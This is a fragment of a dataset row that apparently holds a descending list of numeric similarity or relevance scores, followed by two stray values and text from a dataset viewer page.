"0.6804233",
"0.67979056",
"0.6785989",
"0.678028",
"0.6764338",
"0.6757145",
"0.67310685",
"0.673072",
"0.6726571",
"0.66952443",
"0.66900873",
"0.6664008",
"0.66251117",
"0.6600898",
"0.66001254",
"0.6595058",
"0.65948427",
"0.6577401",
"0.65210044",
"0.64988",
"0.64333683",
"0.643307",
"0.642716",
"0.6367604",
"0.635025",
"0.63174707",
"0.6308197",
"0.6274833",
"0.627085",
"0.6259017",
"0.62409973",
"0.62163013",
"0.6202942",
"0.6198673",
"0.61929184",
"0.6191339",
"0.618232",
"0.61763364",
"0.61749256",
"0.6093654",
"0.6075573",
"0.60721767",
"0.6071497",
"0.60142946",
"0.601127",
"0.6001111",
"0.5992272",
"0.5989438",
"0.5972474",
"0.596235",
"0.59069765",
"0.58850443",
"0.5856022",
"0.5828261",
"0.58222765",
"0.5796943",
"0.57956576",
"0.57876843",
"0.57739055",
"0.5764225",
"0.5729292",
"0.57111335",
"0.56902975",
"0.5665342",
"0.56603116",
"0.5656763",
"0.56516427",
"0.56443197",
"0.564128",
"0.5623767"
] |
0.7110011
|
13
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.